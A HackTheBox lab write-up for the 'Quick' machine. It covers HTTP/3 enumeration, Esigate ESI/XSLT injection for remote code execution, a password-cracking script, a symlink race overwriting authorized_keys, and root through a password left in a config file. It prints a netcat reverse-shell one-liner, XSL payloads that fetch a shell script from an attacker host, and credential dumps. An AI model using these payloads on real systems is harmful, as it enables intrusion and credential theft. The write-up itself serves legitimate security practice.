Categories

  • All
  • HackTheBox

Tags

  • HackTheBox

Quick

Quick

Nmap Scan

PORT     STATE SERVICE REASON         VERSION
22/tcp   open  ssh     syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 fb:b0:61:82:39:50:4b:21:a8:62:98:4c:9c:38:82:70 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDAhDT34CIPsYTsmKvg6TepNSC8Qly/KBzvto2U2dc5bWLnOTeCHQrlzT0nk/GHBGsvCVi9JJmSw6BHeQ0sllrO4jvQpW/jQuY65cyOmNsXZcXvLXKk/M9rYws+8EOWrzKWJRIyIcD1+NdXKia8oYJ8GtTb8MAFff63dPrCD3qJIWgE0BQ00Id2CebD8Ffml75qXoufBpNQagMjorURWnq5W9lUpCSuqtLYAgasiW6/tlfBb80PFlmltDmshCJ+WsfZ0v2PK2eDveEM4PvlLyFLcGSJcshgGUA/jbDefwoon5uqgKduuS/RZJxf5PqBXkFIem9lsRl9SJCQLqKnQdh3
|   256 ee:bb:4b:72:63:17:10:ee:08:ff:e5:86:71:fe:8f:80 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBOL3mI404EpOFWUunEsaZUSo5I91lYin8r4Tt5HbcKkP1cEjnLRfpWP3HLYZbikwoZG17SmA3cwn/BPUslPpPWI=
|   256 80:a6:c2:73:41:f0:35:4e:5f:61:a7:6a:50:ea:b8:2e (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIC3sX8n1GsA1Ps9e3OZmBVSkbr1tv7B/25+Njhuz9Z76
9001/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.29 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET HEAD POST
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Quick | Broadband Services
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Website Enumeration

A quick scan of this box shows us that ports 22 and 9001 are open. 9001 is running an HTTP server, so we’ll visit this in our browser. On this page, we see the following note:

Update!

We are migrating our portal with latest TLS and HTTP support. To read more about our services, please navigate to our portal

You might experience some connectivity issues during portal access which we are aware of and working on designing client application to provide better experience for our users. Till then you can avail our services from Mobile App

Mousing over the “client” link in this note, shows us that it redirects us to portal.quick.htb so we’ll add that to our /etc/hosts file:

sudo nano /etc/hosts

10.10.10.186	quick.htb portal.quick.htb

Before we check out the portal, we can grab a possible list of users from the testimonials:


Super fast services by Quick Broadband Services. I love their service.	--By Tim (Qconsulting Pvt Ltd)

Quick support and eligant chat response.	--By Roy (DarkWng Solutions)

I never regret using Quick services. Super fast wifi and no issues.	--By Elisa (Wink Media)

Very good delivery and support all these years.	--By James (LazyCoop Pvt Ltd)

At quick.htb/clients.php we get a list of their clients:

#	Client	Country
1	QConsulting Pvt Ltd	UK
2	Darkwing Solutions	US
3	Wink	UK
4	LazyCoop Pvt Ltd	China
5	ScoobyDoo	Italy
6	PenguinCrop	France

For some reason, http://quick.htb:9001/server-status isn’t blocked, so we can see a lot of different running services.

We’ll now try to visit that https://portal.quick.htb link. We’re unable to connect by just adding it to our /etc/hosts file and visiting it in our browser, but we need to take note that “new” technologies are being used. We can use http3 to visit this link, but using a version of curl with http3 enabled:

https://hub.docker.com/r/ymuski/curl-http3

After setting up the docker image, we can run it from the command line:

sudo docker run -it --rm ymuski/curl-http3 curl https://10.10.10.186:443 --http3

<html>                   
<title> Quick | Customer Portal</title>
<h1>Quick | Portal</h1>                                   
<head>                
<style>               
ul {   
  list-style-type: none;                                  
  margin: 0;              
  padding: 0;               
  width: 200px;             
  background-color: #f1f1f1;                              
}                
                                                          
li a {                                                    
  display: block;     
  color: #000;                               
  padding: 8px 16px;                                                                                                 
  text-decoration: none;     
}                                                         
                                                          
/* Change the link color on hover */                                                                                 
li a:hover {                 
  background-color: #555;   
  color: white;                          
}                                                                                                                    
</style>
</head>                                 
<body>                                                                                                               
<p> Welcome to Quick User Portal</p>                                                                                 
<ul>                                                      
  <li><a href="index.php">Home</a></li> 
  <li><a href="index.php?view=contact">Contact</a></li>
  <li><a href="index.php?view=about">About</a></li>
  <li><a href="index.php?view=docs">References</a></li>
</ul>        
</html> 

Looks like we have some interesting links here:

sudo docker run -it --rm ymuski/curl-http3 curl https://10.10.10.186:443/index.php?view=about --http3

<div class="row">                                         
  <div class="column">
    <div class="card">                       
      <img src="/w3images/team1.jpg" alt="Jane" style="width:100%">                                                  
      <div class="container">
        <h2>Jane Doe</h2>                                 
        <p class="title">CEO & Founder</p>                
        <p>Quick Broadband services established in 2012 by Jane.</p>                                                 
        <p>jane@quick.htb</p>
      </div>                
    </div>                               
  </div>                                                                                                             
                                                          
  <div class="column">                  
    <div class="card">                                                                                               
      <img src="/w3images/team2.jpg" alt="Mike" style="width:100%">                                                  
      <div class="container">                             
        <h2>Mike Ross</h2>              
        <p class="title">Sales Manager</p>             
        <p>Manages the sales and services.</p>     
        <p>mike@quick.htb</p>                          
      </div> 
    </div>                                                
  </div>                                                                                                                                                                                                                                   
                                                                                                                     
  <div class="column">                                    
    <div class="card">                                    
      <img src="/w3images/team3.jpg" alt="John" style="width:100%">                                                  
      <div class="container">
        <h2>John Doe</h2>                                 
        <p class="title">Web Designer</p>
        <p>Front end developer.</p>                       
        <p>john@quick.htb</p>                             
      </div>                                                                                                                                                                                                                               
    </div>           
  </div>  

We got some emails!

jane@quick.htb mike@quick.htb john@quick.htb

We can also visit the last link:

sudo docker run -it --rm ymuski/curl-http3 curl https://10.10.10.186:443/index.php?view=docs --http3
<!DOCTYPE html>
<html>
<head>
<meta name="viewport" content="width=device-width, initial-scale=1">

<h1>Quick | References</h1>
<ul>
  <li><a href="docs/QuickStart.pdf">Quick-Start Guide</a></li>
  <li><a href="docs/Connectivity.pdf">Connectivity Guide</a></li>
</ul>
</head>
</html>

We’ll need to do a little workaround to grab these files, since we’re running curl in a docker container:

sudo docker run --rm --entrypoint /bin/sh ymuski/curl-http3  -c "curl https://10.10.10.186:443/docs/Quickstart.pdf --http3 --output /tmp/Quickstart.pdf && cat /tmp/QuickStart.pdf" > Quickstart.pdf

sudo docker run --rm --entrypoint /bin/sh ymuski/curl-http3  -c "curl https://10.10.10.186:443/docs/Connectivity.pdf --http3 --output /tmp/Connectivity.pdf && cat /tmp/Connectivity.pdf" > Connectivity.pdf

From Connectivity.pdf, we get a password:

Quick4cc3$$

We can try the emails/password we grabbed on quick.htb/login.php, but none of them work. Taking a look at the clients on the homepage, we can make a list of possible emails that could be related to the companies that reviewed “Quick”.

The following credentials work:

elisa@wink.co.uk:Quick4cc3$$

Now that we’re in, we see that we can Raise a Ticket, and search for raised tickets. Normal XSS doesn’t appear to do anything, but if we look at the headers in the response, we see the following:

X-Powered-By: Esigate

Remember that we noticed the server was running Esigate before? Esigate has an XSLT injection vulnerability that we can exploit here. For this purpose, I’ll be using the following cheatsheet:

https://github.com/0xVIC/CheatSheets/blob/master/Cross-site%20scripting/ESI_Engine_XSS.md

Click “Raise a Ticket” and enter the following payload in the body, replacing the x’s with our IP:

<esi:include src="http://xx.xx.xx.xx/image.png" />

Now, we take note of the ticket number it returns to us after hitting submit, we open a webserver on port 80 of our local machine, and we search for the ticket. We can see the following on our local webserver:

Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.186 - - [28/Apr/2020 11:03:27] code 404, message File not found
10.10.10.186 - - [28/Apr/2020 11:03:27] "GET /image.png HTTP/1.1" 404 -

Looking for possible RCE for Esigate leads us to the following link:

https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/

We can use the payloads in this link to achieve RCE! We’ll need to make ourselves a reverse shell first:

shell.sh:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.xx.xx 4444 >/tmp/f

Now we can set up our malicious xsl’s:

exploitdown.xsl:

<?xml version="1.0" ?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:output method="xml" omit-xml-declaration="yes"/>
<xsl:template match="/"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime">
<root>
<xsl:variable name="cmd"><![CDATA[wget http://10.10.xx.xx/shell.sh -O /tmp/shell.sh]]></xsl:variable>
<xsl:variable name="rtObj" select="rt:getRuntime()"/>
<xsl:variable name="process" select="rt:exec($rtObj, $cmd)"/>
Process: <xsl:value-of select="$process"/>
Command: <xsl:value-of select="$cmd"/>
</root>
</xsl:template>
</xsl:stylesheet>

exploitexec.xsl:

<?xml version="1.0" ?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:output method="xml" omit-xml-declaration="yes"/>
<xsl:template match="/"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime">
<root>
<xsl:variable name="cmd"><![CDATA[wget http://10.10.xx.xx/shell.sh -O /tmp/shell.sh]]></xsl:variable>
<xsl:variable name="rtObj" select="rt:getRuntime()"/>
<xsl:variable name="process" select="rt:exec($rtObj, $cmd)"/>
Process: <xsl:value-of select="$process"/>
Command: <xsl:value-of select="$cmd"/>
</root>
</xsl:template>
</xsl:stylesheet>

Now, we need to host these three files on our local webserver, and get to work!

We first need to send the following payload to http://quick.htb/ticket.php:

Note, the src= has to be something on the victim machine, or it will fail, as it’s going through a proxy that can’t seem to communicate outside of the machine:

<esi:include src="index.php" stylesheet="http://10.10.xx.xx/exploitdown.xsl">
</esi:include>

Now, take note of the ticket number, and visit it at http://quick.htb:9001/search.php?search=TKT-xxxx

We get a two pings back to our webserver, one for exploitdown.xsl and one for shell.sh

We now need to do the same with exploitexec.xsl:

<esi:include src="index.php" stylesheet="http://10.10.xx.xx/exploitexec.xsl">
</esi:include>

Now, open a listener on the port you chose, and visit http://quick.htb:9001/search.php?search=TKT-xxxx

We’ll import TTY and see who we are:

python3 -c 'import pty;pty.spawn("/bin/bash")'

sam@quick:~$ whoami
sam

We can look at the db.php file in /var/www/html:

<?php
$conn = new mysqli("localhost","db_adm","db_p4ss","quick");
?>

Looks like we have mysql credentials!

mysql -udb_adm -pdb_p4ss
use quick;
select * from users;

+--------------+------------------+----------------------------------+
| name         | email            | password                         |
+--------------+------------------+----------------------------------+
| Elisa        | elisa@wink.co.uk | c6c35ae1f3cb19438e0199cfa72a9d9d |
| Server Admin | srvadm@quick.htb | e626d51f8fbfd1124fdea88396c35d05 |
+--------------+------------------+----------------------------------+

Looks like we have some hashed passwords! They’re MD5 strings, but they aren’t crackable in their current form. Let’s see if we can figure out how they’re being hashed:

cat /var/www/html/login.php

...
        $email=$_POST["email"];                  
        $password = $_POST["password"];                                                                              
        $password = md5(crypt($password,'fa'));          
...

It looks like they’re being encrypted with the default encryption scheme for Linux, then hashed with md5. We can create a small script to decrypt the new password relatively quickly:

#coding utf-8
import hashlib
import crypt

filepath = 'rockyou.txt'
count = 0
with open(filepath, 'r', errors='ignore') as fp:
   line = fp.readline()
   while line:
          hashone = crypt.crypt(line.strip(), 'fa')
          hashtwo = hashlib.md5(hashone.encode())
          if hashtwo.hexdigest() == 'e626d51f8fbfd1124fdea88396c35d05':
                 print(line)
          line = fp.readline()

We get “yl51pbx”, which works with the email in the database on the website:

srvadm@quick.htb:yl51pbx

This password doesn’t work for ssh, so we need to figure out where we can use this. In /etc/apache2/sites-available/000-default.conf we see the following lines:

<VirtualHost *:80>
        AssignUserId srvadm srvadm
        ServerName printerv2.quick.htb
        DocumentRoot /var/www/printer
</VirtualHost>

Looks like printerv2.quick.htb is another virtualhost. We can add this to our /etc/hosts file, and connect to http://printerv2.quick.htb:9001. It’s a completely different website!

The credentials we grabbed for srvadm let us log in here. We can navigate to “Add Printer” and enter a Title, IP and Port. I chose to use a Python3 script here, but nc would most likely also work. Once we’ve done this, we can go to printers, and click the print button for the printer we just created.

We get the following message:

Printer is up. Please add a job

If we click the job link in this message, we are redirected to http://printerv2.quick.htb:9001/job.php?title=Printer1 where we can enter a Description for the job, and Print it.

First, we need to take a look at the job.php file in /var/www/printer/job.php. This is the important section:

if($_SESSION["loggedin"])                                                                                            
{                                                         
        if(isset($_POST["submit"]))
        {                                                 
                $title=$_POST["title"];                   
                $file = date("Y-m-d_H:i:s");                                                                         
                file_put_contents("/var/www/jobs/".$file,$_POST["desc"]);                                            
                chmod("/var/www/printer/jobs/".$file,"0777");                                                        
                $stmt=$conn->prepare("select ip,port from jobs");      
                $stmt->execute();               
                $result=$stmt->get_result();   
                if($result->num_rows > 0)            
                {                                                                                                    
                        $row=$result->fetch_assoc();                                                                 
                        $ip=$row["ip"];                   
                        $port=$row["port"];
                        try                               
                        {                                 
                                $connector = new NetworkPrintConnector($ip,$port);
                                sleep(0.5); //Buffer for socket check                                                
                                $printer = new Printer($connector);
                                $printer -> text(file_get_contents("/var/www/jobs/".$file));
                                $printer -> cut();        
                                $printer -> close();      
                                $message="Job assigned";                                                             
                                unlink("/var/www/jobs/".$file);
                        }                                                                                            
                        catch(Exception $error)           
                        {                                 
                                $error="Can't connect to printer.";
                                unlink("/var/www/jobs/".$file);
                        }                                 
                }                                         
                else                                      
                {                                                                                                    
                        $error="Couldn't find printer.";  
                }                                         
        }                                                 

We can see that it binds the current date/time in the format Y-m-d_H:i:s to a variable $file, puts the contents of whatever we put in the Description field on the website into the file, grabs the IP and Port from the jobs table in the database Quick (which we set when we created the printer on the website) and then gets the contents of the file it created (named Y-m-d_H:i:s) and sends them to the printer.

PHP inherently doesn’t follow symlinks, so we can’t send the contents of a file to ourselves. However, the really interesting part is that it’s placing the contents of the Description we entered into the file. We can use this to overwrite srvadm’s authorized_keys file!

To avoid having to format the date and time in bash, I just used a simple PHP script:

filecreate.php:

<?php
$file = date("Y-m-d_H:i:s");
system('ln -s /home/srvadm/.ssh/authorized_keys '  . $file);

?>

Now, we can create a ssh key for ourselves on our local machine:

ssh-keygen -t rsa

cat id_rsa.pub

We need to copy our id_rsa.pub key and put it in the description field. Now, to make sure that we’re catching the right symlink at the right time, we can move our php file to the /var/www/jobs folder, and put it on a loop:

for i in $(seq 0 100);do php filecreate.php;done

Now, we need to quickly hit the Print button on the website, with our id_rsa.pub key in the Description, and either a Python3 script up to catch the request or nc. We should see our key pop up on our listener. If so, the exploit has completed succesfully!

We can now ssh in:

ssh -i ~/.ssh/id_rsa srvadm@quick.htb

Now that we have srvadm, we can look for interesting files owned by him:

find / -user srvadm >> test.txt
cat test.txt

...
/home/srvadm/.cache                                 
/home/srvadm/.cache/conf.d                              
/home/srvadm/.cache/conf.d/printers.conf            
/home/srvadm/.cache/conf.d/cupsd.conf          
/home/srvadm/.cache/logs                        
/home/srvadm/.cache/logs/debug.log                  
/home/srvadm/.cache/logs/error.log                      
/home/srvadm/.cache/logs/cups.log                   
/home/srvadm/.cache/packages                            
/home/srvadm/.cache/motd.legal-displayed 
...

Those conf.d files look interesting! Taking a look at printers.conf, we see the following URI:

https://srvadm%40quick.htb:%26ftQ4K3SGde8%3F@printerv3.quick.htb/printer

If we URL-decode this, it becomes

https://srvadm@quick.htb:&ftQ4K3SGde8?@printerv3.quick.htb/printer

That &ftQ4K3SGde8? definitely looks like a password. We can check sudo -l and see if srvadm can run anything with sudo, but this isn’t his password. Of course, as always, we’ll try just su’ing to root.

su 
Password: &ftQ4K3SGde8?

root@quick:/home/srvadm/.cache/conf.d# whoami
root

Well that was easy!

root:&ftQ4K3SGde8?